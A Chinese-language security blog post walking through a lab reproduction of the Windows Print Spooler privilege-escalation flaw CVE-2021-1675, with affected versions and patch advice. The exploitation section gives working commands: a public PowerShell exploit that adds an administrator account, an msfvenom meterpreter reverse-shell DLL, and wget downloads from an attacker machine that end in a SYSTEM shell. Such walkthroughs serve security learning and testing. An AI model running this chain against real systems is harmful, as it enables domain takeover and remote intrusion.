Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

admin 2022年9月28日22:09:51评论41 views字数 3877阅读12分55秒阅读模式
Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)
Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

点击上方蓝字关注我们

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)


Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)
1

免责声明


      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。


2

内容速览

0x00 简介

微软发布的安全更新补丁中包括了一个Windows Print Spooler权限提升漏洞,漏洞CVE编号:CVE-2021-1675。

未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。

建议受影响用户及时更新漏洞补丁进行防护,做好资产自查以及预防工作,以免遭受黑客攻击。

0x01 漏洞概述

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

0x02 影响版本

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

0x03 环境搭建

1.安装虚拟机应用程序(本次测试使用的是VMware Workstation Pro16.1版本)

2.安装受漏洞影响的版本的Windows系统,本次测试使用的操作系统环境如下:

版本	Windows 10 专业版
版本号 20H2
安装日期 ‎2021/‎5/‎13
操作系统内部版本 19042.804

3.安装 Microsoft Visual Studio(本次复现使用的是 Microsoft Visual Studio Community 2019 版本)

以上软件获取和安装可自行上网搜索相关教程

4.开启 Print Spooler

对 “我的电脑” 右键,点击 “管理”:

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

双击 “服务和应用程序” :

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

双击 “服务” :

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

找到 “Print Spooler” 并右键启动:

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

0x04 漏洞复现

1.下载 exp:

https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1

2.讲下载的 exp 复制到目标机器上并使用以下指令在 powershell 中导入运行:

Import-Module .cve-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintTest" -NewUser "FakeZeeker" -NewPassword "123"

运行后如下图所示:

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

此时我们可以看到通过 exp ,我们已经成功创建了一个新的用户 “FakeZeeker” ,密码为 “123”,且该用户在管理员组中,具有管理员权限。

接下来再反弹个 shell 作为扩展,

3.使用 msfvenom 生成反弹shell的 dll(其中 LHOST 替换为攻击机IP):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=4444 -f dll -o rever.dll

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

4.在当前目录下开启http服务以供目标机器下载 rever.dll 和 :

python3 -m http.server 80

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

5.启动 msf 进行监听:

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

6.以普通用户身份启动powershell,执行以下指令。

runas /noprofile /user:FakeZeeker powershell

输入新创建的 FakeZeeker 用户的密码后即可以新用户身份打开powershell。

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

然后在新 powershell 中执行以下指令。

wget 192.168.50.130/rever.dll -OutFile C:UsersPublicrever.dll
wget 192.168.50.130/CVE-2021-1675.ps1 -OutFile C:UsersPublicCVE-2021-1675.ps1
Import-Module C:UsersPublicCVE-2021-1675.ps1 Invoke-Nightmare -DLL C:UsersPublicrever.dll

前两条指令通过攻击机开启的http服务下载需要的 模块 和 dll,后两条指令同样导入exp模块并使用指定 dll 进行利用。

注意这里 FakeZeeker 用户对其他目录有访问限制,使用 C:UsersPublic 进行操作会方便一点

还有一点就是使用目标文件时(如 rever.dll)一定要敲绝对路径。

执行后可以看到有报错,但是不用管,不影响利用。

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

7.另一边可以看到攻击机的 msf 已经成功连接上了,获取到系统权限的shell。

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

0x05 修复建议

1)下载安装微软官方提供的补丁:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

2)在前文 “环境搭建” 部分中的启用 Print Spooler 步骤调整为禁用 Print Spooler ,能临时进行缓解。

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

如果想要系统学习网络安全技术

不妨加入知识星球课程

《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)知识星球Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)


超值 | 一起学网络安全! 授人以鱼不如授人以渔!


Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)活动优惠券Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)


跟着60天入门学习路线一起学

期待你的到来!


Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)


往期推荐



从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。



更多内容请关注公众号

网络安全自修室

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)
Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

点个在看你最好看

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

原文始发于微信公众号(网络安全自修室):Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月28日22:09:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)https://cn-sec.com/archives/1321640.html

发表评论

匿名网友 填写信息